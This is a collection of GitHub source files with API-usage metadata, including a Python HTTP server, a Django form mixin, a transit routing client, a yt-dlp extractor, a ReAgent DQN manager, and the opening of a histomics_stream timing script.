{"api_name": "gym.utils.seeding", "line_number": 42, "usage_type": "name"}, {"api_name": "Box2D.b2.fixtureDef", "line_number": 69, "usage_type": "call"}, {"api_name": "Box2D.b2.circleShape", "line_number": 70, "usage_type": "call"}, {"api_name": "Box2D.b2.fixtureDef", "line_number": 76, "usage_type": "call"}, {"api_name": "Box2D.b2.circleShape", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 163, "usage_type": "attribute"}]}
{"seq_id": "3511872435", "text": "import http.server\nimport socketserver\n\n# Define el puerto en el que se ejecutará el servidor\nPORT = 8000\n\n# Configura el manejador de solicitudes para servir el contenido del directorio actual\nHandler = http.server.SimpleHTTPRequestHandler\n\nwith socketserver.TCPServer((\"\", PORT), Handler) as httpd:\n    print(\"Servidor en el puerto\", PORT)\n    # Ejecuta el servidor\n    httpd.serve_forever()\n", "repo_name": "mlestrella843/Python_Init", "sub_path": "myServer_python.py", "file_name": "myServer_python.py", "file_ext": "py", "file_size_in_byte": 395, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "http.server.server", "line_number": 8, "usage_type": "attribute"}, {"api_name": "http.server", "line_number": 8, "usage_type": "name"}, {"api_name": "socketserver.TCPServer", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "32081945480", "text": "from django import forms\n\n\nclass FrontEndValidatorsModelForm(forms.ModelForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        model = self._meta.model\n        model_field_map = {}\n        for model_field in model._meta.fields:\n            model_field_map[model_field.name] = model_field\n        for field_name, field in self.fields.items():\n            if not hasattr(model, field_name):\n                continue\n            validators = model_field_map[field_name].validators\n            valid_validators = []\n            for validator in validators:\n                if hasattr(validator, '__name__'):\n                    valid_validators.append(f'validators.{validator.__name__}')\n\n            valid_validators_string = str(valid_validators).replace(\"'\", \"\")\n\n            self.fields[field_name].widget.attrs.update({\n                'data-validators': valid_validators_string\n            })\n", "repo_name": "johnfraney/django-front-end-validators", "sub_path": "front_end_validators/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 938, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.forms.ModelForm", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 4, "usage_type": "name"}]}
{"seq_id": "73429747451", "text": "import configparser as cfg\nimport os.path\n\n\n# Класс сериализации настроек приложения\nclass Settings:\n    _settings_file_path = None  # Путь к файлу настрое\n    _config = None  # Объект настроек\n\n    # Конструктор класса, заполняет переменные класса\n    def __init__(self, settings_file_path):\n        # заполнение переменной класса пути к файлу настроек\n        self._settings_file_path = settings_file_path\n\n        # Экспорт настроек\n        settings = self._export_settings()\n        # Если экспорт не удался, создание нового файла настроек\n        if settings is None:\n            settings = self._create_settings()\n        # заполнение переменной класса объекта настроек\n        self._config = settings\n\n    # Внутренний метод создания файла настроек\n    def _create_settings(self):\n        # Создание объекта класса ConfigParser\n        config = cfg.ConfigParser()\n\n        # Определение стандартных настроек\n        config['PATH'] = {'source_face_photo': '../Worker/Source/face.jpeg',\n                          'source_passport_photo': '../Worker/Source/pass.jpeg',\n                          'temp_folder': '../Worker/Source/Temp/'}\n\n        config['Text Recognition'] = {'resize_coefficient': '1.0',\n                                      'use_blur': 'False',\n                                      'use_morphological_function': \"False\",\n                                      'morphological_function_type': '2',\n                                      'kernel_matrix_shape': '0',\n                                      'kernel_matrix_size': '1',\n                                      'ocr_psm_mode': '6'}\n        config['Output'] = {'error_loading_images': \"-1\\nОшибка загрузки изображений\",\n                            'error_face_recognition': \"-2\\nОшибка распознавания лиц\",\n                            'error_age_extraction': \"-3\\nОшибка распознавания возраста\",\n                            'result_success': \"0\\nПроверка пройдена успешно\",\n                            'result_bad_age': \"1\\nПроверка не пройдена - возраст меньше 18\",\n                            'result_bad_faces': \"2\\nПроверка не пройдена - лица не совпадают\"}\n        config['Network'] = {'key': '0123456789abcdef',\n                             'server_url': 'http://127.0.0.1:5000/'}\n\n        # Запись файла настроек\n        with open(self._settings_file_path, 'w') as file:\n            config.write(file)\n\n        return config\n\n    # Внутренний метод экспорта настроек\n    def _export_settings(self):\n        # Если файл существует, чтение настроек\n        if os.path.exists(self._settings_file_path):\n            config = cfg.ConfigParser()\n            config.read(self._settings_file_path)\n            return config\n        else:\n            return None\n\n    def get(self, cat, prop='all'):\n        \"\"\"\n        Открытый метод получения настроек\n        :param cat: Категория настроек\n        :param prop: Конкретная настройка\n        :return: Строка с настройкой, если указана в параметрах\n                 иначе словарь всех настроек категории\n        \"\"\"\n        if prop == 'all':\n            return self._config[cat]\n        else:\n            return self._config[cat][prop]\n", "repo_name": "MariR19/ai_age_verification", "sub_path": "settings.py", "file_name": "settings.py", "file_ext": "py", "file_size_in_byte": 3880, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "configparser.ConfigParser", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.path.exists", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 58, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 59, "usage_type": "call"}]}
{"seq_id": "74270308090", "text": "import requests\nimport json\nimport polyline\nfrom shapely.geometry import Point, LineString\n\ndef build_plan_query(coords_from, coords_to, walkSpeed, maxWalkDistance, itins_count, datetime):\n    '''\n    Function for combining query string for route plan using Digitransit Routing API. \n    Returns\n    -------\n    <string>\n        Digitransit Routing API compatible GraphQL query for querying route plan.\n    '''\n    plan_query = f'''\n    plan(\n        from: {{lat: {coords_from['lat']}, lon: {coords_from['lon']}}}\n        to: {{lat: {coords_to['lat']}, lon: {coords_to['lon']}}}\n        numItineraries: {itins_count},\n        walkSpeed: {walkSpeed},\n        maxWalkDistance: {maxWalkDistance},\n        date: \"{str(datetime.strftime(\"%Y-%m-%d\"))}\",\n        time: \"{str(datetime.strftime(\"%H:%M:%S\"))}\",\n    )\n    '''\n    # print(plan_query)\n    return plan_query\n\ndef build_full_route_query(coords_from, coords_to, walkSpeed, maxWalkDistance, itins_count, datetime):\n    '''\n    Function for combining query string for full route plan using Digitransit Routing API. \n    Returns\n    -------\n    <string>\n        Digitransit Routing API compatible GraphQL query for querying full route plan.\n    '''\n    query = f'''\n    {{\n    {build_plan_query(coords_from, coords_to, walkSpeed, maxWalkDistance, itins_count, datetime)}\n    {{\n        itineraries {{\n            duration\n            legs {{\n                mode\n                duration\n                distance\n                transitLeg\n                legGeometry {{\n                    length\n                    points\n                }}\n            }}\n        }}\n    }}\n    }}\n    '''\n    return query\n\ndef build_travel_time_query(coords_from, coords_to, walkSpeed, maxWalkDistance, itins_count, datetime):\n    '''\n    Function for building travel time query for Digitransit Routing API. \n    Returns\n    -------\n    <string>\n        Digitransit Routing API compatible GraphQL query for querying travel time.\n    '''\n    query = f'''\n    {{\n    {build_plan_query(coords_from, coords_to, walkSpeed, maxWalkDistance, itins_count, datetime)}\n    {{ itineraries {{ duration }} }}\n    }}\n    '''\n    return query\n\ndef run_query(query):\n    '''\n    Function for running Digitransit Routing API query in the API. \n    Returns\n    -------\n    <dictionary>\n        Results of the query as a dictionary.\n    '''\n    dt_routing_endpoint = 'https://api.digitransit.fi/routing/v1/routers/hsl/index/graphql' \n    headers = {'Content-Type': 'application/json'}\n    request = requests.post(dt_routing_endpoint, json={'query': query}, headers=headers)\n    if request.status_code == 200:\n        return request.json()\n    else:\n        raise Exception('Query failed to run by returning code of {}. {}'.format(request.status_code, query))\n\ndef get_route_itineraries(coords_from, coords_to, walkSpeed, maxWalkDistance, itins_count, datetime):\n    '''\n    Function for building and running routing query in Digitransit API.\n    Returns\n    -------\n    <list of dictionaries>\n        Results of the routing request as list of itineraries\n    '''\n    query = build_full_route_query(coords_from, coords_to, walkSpeed, maxWalkDistance, itins_count, datetime)\n    # print(query)\n    response = run_query(query)\n    itineraries = response['data']['plan']['itineraries']\n    return itineraries\n\ndef create_line_geom(point_coords):\n    '''\n    Function for building line geometries from list of coordinate tuples [(x,y), (x,y)].\n    Returns\n    -------\n    <LineString>\n    '''\n    try:\n        return LineString([point for point in point_coords])\n    except:\n        return\n\ndef parse_itin_geom(itins):\n    '''\n    Function for parsing route geometries got from Digitransit Routing API. \n    Coordinates are decoded from Google Encoded Polyline Algorithm Format.\n    Returns\n    -------\n    <list of dictionaries>\n        List of itineraries as dictionaries\n    '''\n    for itin in itins:\n        itin_coords = []\n        legs = itin['legs']\n        for leg in legs:\n            geom = leg['legGeometry']['points']\n            # parse coordinates from Google Encoded Polyline Algorithm Format\n            decoded = polyline.decode(geom)\n            # swap coordinates (y, x) -> (x, y)\n            coords = [point[::-1] for point in decoded]\n            leg['line_geom'] = create_line_geom(coords)\n            leg['first_point'] = Point(coords[0])\n            leg['last_point'] = Point(coords[len(coords)-1])\n            itin_coords += coords\n            del leg['legGeometry']\n        itin['line_geom'] = create_line_geom(itin_coords)\n    return itins\n\ndef get_mean_travel_time(coords_from, coords_to, walkSpeed, maxWalkDistance, itins_count, minutes, datetime):\n    '''\n    Function for acquiring mean travel time between two places using above defined functions.\n    Digitransit Routing API for public transport is used.\n    Returns\n    -------\n    <int>\n        Mean travel time using public transport\n    '''\n    query = build_travel_time_query(coords_from, coords_to, walkSpeed, maxWalkDistance, itins_count, datetime)\n    response = run_query(query)\n    itineraries = response['data']['plan']['itineraries']\n    # calculate mean travel time of three inireraries\n    duration_sum = 0\n    for itin in itineraries:\n        duration_sum += itin['duration']\n\n    if (minutes == True):     \n        return int(round((duration_sum/len(itineraries))/60))\n    else:\n        return int(round(duration_sum/len(itineraries)))\n", "repo_name": "hellej/final-assignment-hellej", "sub_path": "utils/dt_routing.py", "file_name": "dt_routing.py", "file_ext": "py", "file_size_in_byte": 5448, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.post", "line_number": 84, "usage_type": "call"}, {"api_name": "shapely.geometry.LineString", "line_number": 112, "usage_type": "call"}, {"api_name": "polyline.decode", "line_number": 131, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 135, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 136, "usage_type": "call"}]}
{"seq_id": "108508642", "text": "from scripts import common\n\nlogic = common.logic\nscene = common.scene\n\ndef create_image(own, item, scene): #create an image of each collectible item\n    if item == 1:\n        string = \"snow_ball\"\n    elif item == 2:\n        string = \"ice_cube\"\n    elif item == 3:\n        string = \"fish\"\n    image = scene.addObject(string, own, 0)\n    image.setParent(own,0,1)\n    if item == 3:\n        image.worldScale = [0.143*2, 0.043*2, 0.065*2]\n    else:\n        image.worldScale = [0.197, 0.197, 0.197]\n\ndef generate(cont, own, item, amount, scene): #generate collectible items\n    new = scene.addObject(\"collect_item\", own, common.ITEM_COLLECT_EXPIRE)\n    new.worldPosition = own.worldPosition\n    new[\"item\"] = item\n    new[\"amount\"] = amount\n    create_image(new, item, scene)\n\ndef main(cont):\n    own = cont.owner\n    \n    col = cont.sensors[\"collect\"]\n    item = own[\"item\"]\n    amount = own[\"amount\"]\n\n    if col.positive and col.hitObject[\"health\"] > 0:\n        target = col.hitObject\n        if item == 1 and target[\"snow\"] < common.ITEM_MAX_COUNT:\n            if target[\"snow\"] + amount >= common.ITEM_MAX_COUNT:\n                target[\"snow\"] = common.ITEM_MAX_COUNT\n            else:\n                target[\"snow\"] += amount\n            own.endObject()\n        elif item == 2 and target[\"ice\"] < common.ITEM_MAX_COUNT:\n            if target[\"ice\"] + amount >= common.ITEM_MAX_COUNT:\n                target[\"ice\"] = common.ITEM_MAX_COUNT\n            else:\n                target[\"ice\"] += amount\n            own.endObject()\n        elif item == 3 and target[\"fish\"] < common.ITEM_MAX_COUNT:\n            if target[\"fish\"] + amount >= common.ITEM_MAX_COUNT:\n                target[\"fish\"] = common.ITEM_MAX_COUNT\n            else:\n                target[\"fish\"] += amount\n            own.endObject()\n\n    for player_id in logic.globalDict[\"player_list\"]:\n        try:\n            if own.getDistanceTo(scene.objects.from_id(player_id).children[\"player_loc\"]) < common.ITEM_MAX_DISTANCE:\n                return\n        except:\n            continue\n    \n    own.endObject()\n", "repo_name": "khanhduong95/opentuxworld", "sub_path": "scripts/collect.py", "file_name": "collect.py", "file_ext": "py", "file_size_in_byte": 2069, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scripts.common.logic", "line_number": 3, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 3, "usage_type": "name"}, {"api_name": "scripts.common.scene", "line_number": 4, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 4, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_COLLECT_EXPIRE", "line_number": 21, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 21, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_COUNT", "line_number": 36, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 36, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_COUNT", "line_number": 37, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 37, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_COUNT", "line_number": 38, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 38, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_COUNT", "line_number": 42, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 42, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_COUNT", "line_number": 43, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 43, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_COUNT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 44, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_COUNT", "line_number": 48, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 48, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_COUNT", "line_number": 49, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 49, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_COUNT", "line_number": 50, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 50, "usage_type": "name"}, {"api_name": "scripts.common.ITEM_MAX_DISTANCE", "line_number": 57, "usage_type": "attribute"}, {"api_name": "scripts.common", "line_number": 57, "usage_type": "name"}]}
{"seq_id": "37601260522", "text": "from ..utils import ExtractorError\nfrom .common import InfoExtractor\n\n\nclass WillowIE(InfoExtractor):\n    _VALID_URL = r'https?://(www\\.)?willow\\.tv/videos/(?P<id>[0-9a-z-_]+)'\n    _GEO_COUNTRIES = ['US']\n\n    _TESTS = [{\n        'url': 'http://willow.tv/videos/d5winning-moment-eng-vs-ind-streaming-online-4th-test-india-tour-of-england-2021',\n        'info_dict': {\n            'id': '169662',\n            'display_id': 'd5winning-moment-eng-vs-ind-streaming-online-4th-test-india-tour-of-england-2021',\n            'ext': 'mp4',\n            'title': 'Winning Moment: 4th Test, England vs India',\n            'thumbnail': 'https://aimages.willow.tv/ytThumbnails/6748_D5winning_moment.jpg',\n            'duration': 233,\n            'timestamp': 1630947954,\n            'upload_date': '20210906',\n            'location': 'Kennington Oval, London',\n            'series': 'India tour of England 2021',\n        },\n        'params': {\n            'skip_download': True,  # AES-encrypted m3u8\n        },\n    }, {\n        'url': 'http://willow.tv/videos/highlights-short-ind-vs-nz-streaming-online-2nd-t20i-new-zealand-tour-of-india-2021',\n        'only_matching': True,\n    }]\n\n    def _real_extract(self, url):\n        video_id = self._match_id(url)\n        webpage = self._download_webpage(url, video_id)\n        video_data = self._parse_json(self._html_search_regex(\n            r'var\\s+data_js\\s*=\\s*JSON\\.parse\\(\\'(.+)\\'\\)', webpage,\n            'data_js'), video_id)\n\n        video = next((v for v in video_data.get('trending_videos') or []\n                      if v.get('secureurl')), None)\n        if not video:\n            raise ExtractorError('No videos found')\n\n        formats = self._extract_m3u8_formats(video['secureurl'], video_id, 'mp4')\n\n        return {\n            'id': str(video.get('content_id')),\n            'display_id': video.get('video_slug'),\n            'title': video.get('video_name') or self._html_search_meta('twitter:title', webpage),\n            'formats': formats,\n            'thumbnail': video.get('yt_thumb_url') or self._html_search_meta(\n                'twitter:image', webpage, default=None),\n            'duration': video.get('duration_seconds'),\n            'timestamp': video.get('created_date'),\n            'location': video.get('venue'),\n            'series': video.get('series_name'),\n        }\n", "repo_name": "yt-dlp/yt-dlp", "sub_path": "yt_dlp/extractor/willow.py", "file_name": "willow.py", "file_ext": "py", "file_size_in_byte": 2342, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 60520, "dataset": "github-code", "pt": "78", "api": [{"api_name": "common.InfoExtractor", "line_number": 5, "usage_type": "name"}, {"api_name": "utils.ExtractorError", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "41234412223", "text": "#!/usr/bin/env python3\n\nimport logging\n\nimport torch\nfrom reagent.core.dataclasses import dataclass, field\nfrom reagent.net_builder.discrete_dqn.dueling import Dueling\nfrom reagent.net_builder.discrete_dqn.fully_connected import FullyConnected\nfrom reagent.net_builder.unions import DiscreteDQNNetBuilder__Union\nfrom reagent.parameters import param_hash\nfrom reagent.training import DQNTrainer, DQNTrainerParameters\nfrom reagent.training.loss_reporter import NoOpLossReporter\nfrom reagent.workflow.model_managers.discrete_dqn_base import DiscreteDQNBase\n\n\nlogger = logging.getLogger(__name__)\n\n\n@dataclass\nclass DiscreteDQN(DiscreteDQNBase):\n    __hash__ = param_hash\n\n    trainer_param: DQNTrainerParameters = field(default_factory=DQNTrainerParameters)\n    net_builder: DiscreteDQNNetBuilder__Union = field(\n        # pyre-fixme[28]: Unexpected keyword argument `Dueling`.\n        # pyre-fixme[28]: Unexpected keyword argument `Dueling`.\n        default_factory=lambda: DiscreteDQNNetBuilder__Union(Dueling=Dueling())\n    )\n    cpe_net_builder: DiscreteDQNNetBuilder__Union = field(\n        # pyre-fixme[28]: Unexpected keyword argument `FullyConnected`.\n        # pyre-fixme[28]: Unexpected keyword argument `FullyConnected`.\n        default_factory=lambda: DiscreteDQNNetBuilder__Union(\n            FullyConnected=FullyConnected()\n        )\n    )\n    # TODO: move evaluation parameters to here from trainer_param.evaluation\n    # note that only DiscreteDQN and QRDQN call RLTrainer._initialize_cpe,\n    # so maybe can be removed from the RLTrainer class.\n\n    def __post_init_post_parse__(self):\n        super().__post_init_post_parse__()\n        self.rl_parameters = self.trainer_param.rl\n        self.action_names = self.trainer_param.actions\n        assert (\n            len(self.action_names) > 1\n        ), f\"DiscreteDQNModel needs at least 2 actions. Got {self.action_names}.\"\n        if self.trainer_param.minibatch_size % 8 != 0:\n            logger.warn(\n                f\"minibatch size ({self.trainer_param.minibatch_size}) \"\n                \"should be divisible by 8 for performance reasons!\"\n            )\n\n    def build_trainer(self) -> DQNTrainer:\n        net_builder = self.net_builder.value\n        q_network = net_builder.build_q_network(\n            self.state_feature_config,\n            self.state_normalization_data,\n            len(self.action_names),\n        )\n\n        if self.use_gpu:\n            q_network = q_network.cuda()\n\n        q_network_target = q_network.get_target_network()\n\n        reward_network, q_network_cpe, q_network_cpe_target = None, None, None\n        # pyre-fixme[16]: `DQNTrainerParameters` has no attribute `evaluation`.\n        # pyre-fixme[16]: `DQNTrainerParameters` has no attribute `evaluation`.\n        if self.eval_parameters.calc_cpe_in_training:\n            # Metrics + reward\n            num_output_nodes = (len(self.metrics_to_score) + 1) * len(\n                # pyre-fixme[16]: `DQNTrainerParameters` has no attribute `actions`.\n                # pyre-fixme[16]: `DQNTrainerParameters` has no attribute `actions`.\n                self.trainer_param.actions\n            )\n\n            cpe_net_builder = self.cpe_net_builder.value\n            reward_network = cpe_net_builder.build_q_network(\n                self.state_feature_config,\n                self.state_normalization_data,\n                num_output_nodes,\n            )\n            q_network_cpe = cpe_net_builder.build_q_network(\n                self.state_feature_config,\n                self.state_normalization_data,\n                num_output_nodes,\n            )\n\n            if self.use_gpu:\n                reward_network.cuda()\n                q_network_cpe.cuda()\n\n            q_network_cpe_target = q_network_cpe.get_target_network()\n\n        # pyre-fixme[16]: `DiscreteDQN` has no attribute `_q_network`.\n        # pyre-fixme[16]: `DiscreteDQN` has no attribute `_q_network`.\n        self._q_network = q_network\n        trainer = DQNTrainer(\n            q_network=q_network,\n            q_network_target=q_network_target,\n            reward_network=reward_network,\n            q_network_cpe=q_network_cpe,\n            q_network_cpe_target=q_network_cpe_target,\n            metrics_to_score=self.metrics_to_score,\n            loss_reporter=NoOpLossReporter(),\n            use_gpu=self.use_gpu,\n            evaluation=self.eval_parameters,\n            # pyre-fixme[16]: `DQNTrainerParameters` has no attribute `asdict`.\n            # pyre-fixme[16]: `DQNTrainerParameters` has no attribute `asdict`.\n            **self.trainer_param.asdict(),\n        )\n        return trainer\n\n    def build_serving_module(self) -> torch.nn.Module:\n        \"\"\"\n        Returns a TorchScript predictor module\n        \"\"\"\n        assert self._q_network is not None, \"_q_network was not initialized\"\n\n        net_builder = self.net_builder.value\n        return net_builder.build_serving_module(\n            self._q_network,\n            self.state_normalization_data,\n            action_names=self.action_names,\n            state_feature_config=self.state_feature_config,\n        )\n", "repo_name": "UofT-EcoSystem/rlscope_ReAgent", "sub_path": "reagent/workflow/model_managers/discrete/discrete_dqn.py", "file_name": "discrete_dqn.py", "file_ext": "py", "file_size_in_byte": 5096, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "reagent.workflow.model_managers.discrete_dqn_base.DiscreteDQNBase", "line_number": 20, "usage_type": "name"}, {"api_name": "reagent.parameters.param_hash", "line_number": 21, "usage_type": "name"}, {"api_name": "reagent.training.DQNTrainerParameters", "line_number": 23, "usage_type": "name"}, {"api_name": "reagent.core.dataclasses.field", "line_number": 23, "usage_type": "call"}, {"api_name": "reagent.net_builder.unions.DiscreteDQNNetBuilder__Union", "line_number": 24, "usage_type": "name"}, {"api_name": "reagent.core.dataclasses.field", "line_number": 24, "usage_type": "call"}, {"api_name": "reagent.net_builder.unions.DiscreteDQNNetBuilder__Union", "line_number": 27, "usage_type": "call"}, {"api_name": "reagent.net_builder.discrete_dqn.dueling.Dueling", "line_number": 27, "usage_type": "call"}, {"api_name": "reagent.net_builder.unions.DiscreteDQNNetBuilder__Union", "line_number": 29, "usage_type": "name"}, {"api_name": "reagent.core.dataclasses.field", "line_number": 29, "usage_type": "call"}, {"api_name": "reagent.net_builder.unions.DiscreteDQNNetBuilder__Union", "line_number": 32, "usage_type": "call"}, {"api_name": "reagent.net_builder.discrete_dqn.fully_connected.FullyConnected", "line_number": 33, "usage_type": "call"}, {"api_name": "reagent.training.DQNTrainer", "line_number": 98, "usage_type": "call"}, {"api_name": "reagent.training.loss_reporter.NoOpLossReporter", "line_number": 105, "usage_type": "call"}, {"api_name": "reagent.training.DQNTrainer", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn", "line_number": 114, "usage_type": "attribute"}, {"api_name": "reagent.core.dataclasses.dataclass", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "19099201172", "text": "import argparse\nimport histomics_stream as hs\nimport histomics_stream.pytorch\nimport itertools\nimport os\nimport pooch\nimport time\nimport torch\nimport torchvision\n\n\"\"\"\nThis is a script that is used to make timings of histomics_stream.  To some extent, it\nmay be specific to the computer / docker image it is used with and need minor tweaks to\nrun on another computer.\n\"\"\"\n\n\"\"\"\n# If you've just started a fresh docker container you may need some of this:\napt update ; apt install -y git emacs ; \\\nrm -rf /.local ; \\\npip install -U pip setuptools wheel pillow ; \\\npip install \\\n    'black[jupyter]' \\\n    'large_image[openslide,tiff]' \\\n    'monai[pillow,tqdm,ignite,gdown]' \\\n    'nbformat>=5.2.0' \\\n    'pooch' \\\n    'protobuf' \\\n    '/tf/notebooks/histomics_stream' \\\n    --find-links https://girder.github.io/large_image_wheels\n\"\"\"\n\n\ndef get_data():\n    start_time = time.time()\n    wsi_path = pooch.retrieve(\n        fname=\"TCGA-AN-A0G0-01Z-00-DX1.svs\",\n        url=\"https://drive.google.com/uc\"\n        \"?export=download\"\n        \"&id=19agE_0cWY582szhOVxp9h3kozRfB4CvV\"\n        \"&confirm=t\"\n        \"&uuid=6f2d51e7-9366-4e98-abc7-4f77427dd02c\"\n        \"&at=ALgDtswlqJJw1KU7P3Z1tZNcE01I:1679111148632\",\n        known_hash=\"d046f952759ff6987374786768fc588740eef1e54e4e295a684f3bd356c8528f\",\n        path=str(pooch.os_cache(\"pooch\")) + os.sep + \"wsi\",\n    )\n    print(f\"Retrieved {wsi_path} in {time.time() - start_time}s\", flush=True)\n\n    # download binary mask image\n    start_time = time.time()\n    mask_path = pooch.retrieve(\n        fname=\"TCGA-AN-A0G0-01Z-00-DX1.mask.png\",\n        url=\"https://drive.google.com/uc\"\n        \"?export=download\"\n        \"&id=17GOOHbL8Bo3933rdIui82akr7stbRfta\",\n        known_hash=\"bb657ead9fd3b8284db6ecc1ca8a1efa57a0e9fd73d2ea63ce6053fbd3d65171\",\n        path=str(pooch.os_cache(\"pooch\")) + os.sep + \"wsi\",\n    )\n    print(f\"Retrieved {mask_path} in {time.time() - start_time}s\", flush=True)\n    return wsi_path, mask_path\n\n\nclass WrappedModel(torch.nn.modules.module.Module):\n    def __init__(self, model, preprocess_fn, *args, device=\"cuda\", **kwargs):\n        super(WrappedModel, self).__init__(*args, **kwargs)\n        self.device = torch.device(device)\n        self.model = model.to(self.device)\n        self.preprocess_fn = preprocess_fn.to(self.device)\n\n    def forward(self, x):\n        p = self.model(self.preprocess_fn(x[0].to(self.device)))\n        return p, x[1]\n\n\ndef build_model(device=\"cuda\"):\n    start_time = time.time()\n    # print(f\"available_models = {repr(sorted(torchvision.models.list_models()))}\")\n    weights = torchvision.models.EfficientNet_V2_S_Weights.DEFAULT\n    model = torchvision.models.efficientnet_v2_s(weights=weights)\n    _ = model.eval()\n    preprocess_fn = weights.transforms()\n\n    unwrapped_model = model\n    model = WrappedModel(unwrapped_model, preprocess_fn, device=device).to(device)\n\n    print(f\"Finished model in {time.time() - start_time}s\", flush=True)\n    return unwrapped_model, model\n\n\ndef create_study(wsi_path, mask_path, chunk_size):\n    start_time = time.time()\n    slide_name = os.path.splitext(os.path.split(wsi_path)[1])[0]\n    slide_group = \"Group 3\"\n\n    study = dict(\n        version=\"version-1\",\n        tile_height=224,\n        tile_width=224,\n        overlap_height=0,\n        overlap_width=0,\n        slides=dict(\n            Slide_0=dict(\n                filename=wsi_path,\n                slide_name=slide_name,\n                slide_group=slide_group,\n                chunk_height=chunk_size,\n                chunk_width=chunk_size,\n            )\n        ),\n    )\n\n    find_slide_resolution = hs.configure.FindResolutionForSlide(\n        study, target_magnification=20, magnification_source=\"exact\"\n    )\n    tiles_by_grid_and_mask = hs.configure.TilesByGridAndMask(\n        study, mask_filename=mask_path\n    )\n    # We could apply these to a subset of the slides, but we will apply it to all slides\n    # in this example.\n    for slide in study[\"slides\"].values():\n        find_slide_resolution(slide)\n        tiles_by_grid_and_mask(slide)\n    print(f\"Masked study in {time.time() - start_time}s\", flush=True)\n\n    start_time = time.time()\n    create_torch_dataloader = hs.pytorch.CreateTorchDataloader()\n    tiles = create_torch_dataloader(study)\n    print(f\"#tiles = {len(create_torch_dataloader.get_tiles(study)[0][1])}\")\n    print(f\"Chunked study in {time.time() - start_time}s\", flush=True)\n    return study, tiles\n\n\ndef show_structure(x):\n    if isinstance(x, list):\n        if len(x) > 0:\n            return f\"[{len(x)} of {show_structure(x[0])}]\"\n        else:\n            return repr(list())\n    if isinstance(x, tuple):\n        if len(x) > 0:\n            return f\"({len(x)} of {show_structure(x[0])})\"\n        else:\n            return repr(tuple())\n    if isinstance(x, set):\n        if len(x) > 0:\n            return f\"{{{len(x)} of {show_structure(next(iter(x)))}}}\"\n        else:\n            return repr(set())\n    if isinstance(x, dict):\n        if len(x) > 0:\n            return f\"{{{len(x)} of {show_structure(next(iter(x.keys())))}: {show_structure(next(iter(x.values())))}}}\"\n        else:\n            return repr(dict())\n    return repr(type(x))\n\n\n\"\"\"\n!!! Probably we should be using torch.utils.data.DataLoader batch_size option instead of\n!!! this batched() function.\n\"\"\"\n\n\ndef batched(iterable, batch_size):\n    \"\"\"\n    Batch data into lists of length batch_size. The last batch may be shorter:\n    batched('ABCDEFG', 3) --> ABC DEF G\n    \"\"\"\n    iterator = iter(iterable)\n    # !!! Can we get rid of `list` here and a few lines below?  It is used so that we\n    # !!! can detect an empty list with `while`.\n    batch = list(itertools.islice(iterator, batch_size))\n    while batch:\n        # Yield `batch` in such a way that this iterator does not keep a reference count\n        # for it.\n        batch_in_list = [batch]\n        del batch\n        yield batch_in_list.pop()\n        batch = list(itertools.islice(iterator, batch_size))\n\n\ndef 